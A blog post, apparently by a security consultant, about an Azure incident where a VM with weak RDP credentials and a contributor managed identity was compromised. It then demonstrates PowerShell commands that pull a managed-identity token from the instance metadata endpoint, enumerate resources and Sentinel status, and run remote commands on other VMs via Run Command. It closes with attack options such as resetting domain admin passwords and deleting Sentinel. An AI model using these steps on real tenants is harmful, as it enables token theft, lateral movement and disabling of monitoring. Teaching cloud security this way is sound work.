Last week I got contacted by a customer who was a bit stressed because someone had tampered with their environment in Azure, and they had no idea who it was and what they have been doing. Before I begin going through the details, it should be noted that in this environment I had little monitoring information available to figure out what was going on… But I’ll get back to that.
This customer does development and has been using Microsoft Azure for a while but on a small scale.
They started to notice some gibberish resource groups that appeared in their environment without any resources, just empty. Now I didn’t see those, but the IT people there just deleted them thinking that someone had just set up something for test purposes but forgot to delete them.
A day later they suddenly noticed that all the virtual machines that they had in one environment now all were stopped. Since they didn’t understand straight away what was going on I was asked to come on and see what had happened since no one from the IT team had done any changes.
So, when I got access to the environment, the first thing I checked was the activity log for the subscription. The Activity log in Azure generates an event each time an action has been done against any resource in that subscription. More precisely activities are done with the following resource provider actions write/action/delete.
When scrolling through the activity log I noticed that there were a bunch of entries related to one of the virtual machines where we saw a bunch of runs as commands that had failed and some that were successful from a test machine. These were in a short period of time.
NOTE: There were also other activities, and the entries also had the caller IP so we were able to identify the location of the attacker
NOTE: Run Command feature has a default timeout value set of 90 minutes.
So most likely the attackers tried to run a set of commands through the run command feature among other things.
This was a test virtual machine that had a managed identity in the customer Azure AD tenant and for some reason had access as a contributor to the subscription it resided in.
The intention behind this machine was to be used for the deployment of resources to the Azure environment, it was currently just set up as a test and had a bit of excessive access.
What we found out was that this test machine had a public IP address and a weak combination of username and password which then allowed it to get compromised using RDP. The scary part is that the attackers had insight into Azure and what capabilities they had access to using Managed Identity.
Now they used this VM to create/change resources in the environment. The VM also had built-in PowerShell modules for Azure to make it even “easier”, so this environment was essentially the attacker’s playground, to be honest.
However, they did not make a lot of damage to the environment, and we were quick to remove the role, lock them out and apply policies to ensure that this doesn’t happen again.
However, this got me thinking, what kind of damage can we actually do using Managed Identity on a host? In this scenario, it was a Windows Server with RDP, but it can be any 3. party applicant that has Shell access as well that might have a vulnerability. Which can then be used to move further into the cloud environment. So let us take a closer look at some of the components and how this could be done.
The Metadata endpoint
First is the Azure Instance Metadata Service (IMDS). This provides information about currently running virtual machine instance. This endpoint is supported for all VMs created and managed by Azure Resource Manager. The API is unauthenticated and open to all processes on the VM and available through a single HTTP-based endpoint.
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
This will give you information about the VM that is running, subscription, guest OS admin profil settings which might contain information about admin accounts name and will also show the IP address of the VM and Public IP if attached to the VM. So, a lot of useful information for any attacker.
This endpoint can also be used to generate an access token if the machine has a managed identity assigned to it. That you can do using this Rest API command.
NOTE: I’ve split the URI across two rows to fit the space….
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=
https://management.azure.com/'
So, what can we do when we have an access token? well, pretty much anything in Azure as long as we have an access token that has access to a subscription.
To showcase using the Azure REST API which we can then use to collect information about the environment, such as what kind of security services are available and running.
1: Store the Access token from the management identity as a variable to later use, and define the authentication header
$token = Invoke-RestMethod -Headers @{“Metadata”=”true”} -Method GET ‘http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/’
$authHeader = @{
‘Content-Type’=’application/json’
‘Authorization’=’Bearer ‘ + $token.access_token
}
2: Define a URI to map the resources in the subscription (Collect the subscription from the initial IMDS metadata endpoint) just remember to change the URI to the correct subscription ID.
Collect information about running virtual machines in the subscription:
$restUri = ‘https://management.azure.com/subscriptions/subscription/providers/Microsoft.Compute/virtualMachines?api-version=2021-03-01′
Collect information about the different workspaces in the subscription:
$resturi2 = ‘https://management.azure.com/subscriptions/subscription/providers/Microsoft.OperationalInsights/workspaces?api-version=2021-12-01-preview’
Collect information about if Microsoft Sentinel is enabled on a log analytics workspace:
$resturi3 = “https://management.azure.com/subscriptions/subscription/resourceGroups/resourcegroup/providers/Microsoft.OperationalInsights/workspaces/workspace/providers/Microsoft.SecurityInsights/onboardingStates?api-version=2021-10-01″
3: Collect the information
Now using the URI, Authheader and Body to collect information
Invoke-RestMethod -Method 'Get' -Uri $restUri -Body ($body|ConvertTo-Json) -ContentType "application/json" -Headers $authHeader
Now using this we can for instance use the resturi3 variable in the PowerShell command above to determine if Sentinel is enabled on a Log Analytics workspace
So, this is all great for collecting information about the environment, but let’s use this to do some action. One of the great features in Azure is the Run Command feature.
This feature allows administrators that have permissions to the VM object in Azure to run PowerShell commands directly from the Portal as local system on the machine (using the Azure agent), as seen in the screenshot below.
This means that if we have a domain controller in Azure, we could use this feature to run a script to change the password for any account using standard PowerShell modules. There is no way to disable this feature, we can only restrict access.
Also, this feature by default logs scripts that are run locally under C:\WindowsAzure\Logs\Plugins\Microsoft.CPlat.Core.RunCommandWindows
This feature is also available through the REST API. So, using the managed identity we can trigger a run command script directly on another machine to which the managed identity VM has access.
First, we need to find the actual VM we want to run the command on, which can be found using one of the URIs listed above, then we have a custom ARM URI we need to send the command to.
$urlrun = “https://management.azure.com/subscriptions/subscriptionid/resourceGroups/resourcegroup/providers/Microsoft.Compute/virtualMachines/vmname/runCommand?api-version=2021-11-01”
This command will just run the command Restart the target machine that we point to in the URI.
Invoke-RestMethod -Method ‘Post’ -Uri $urlrun -Body “{`”commandId`”:`”RunPowerShellScript`”,`”script`”:[`”Restart-Computer -force`”]}” -ContentType “application/json” -Headers $authHeader
So how much damage could we do with this? (Given that our virtual machine with managed identity has access to the environment?
1: We could create new local accounts on machines.
2: We could reset the administrator account on a domain controller (and therefore the domain).
3: We can create an exportable snapshot of any virtual machine in Azure, download the VHD and inspect the data.
4: We can delete the Sentinel service and disable other services.
5: We can delete everything that the VM has access to.
Fortunately for this customer, the attackers didn’t do anything to that extent, but it just shows the importance of safeguarding resources/identities that has access to your cloud environment.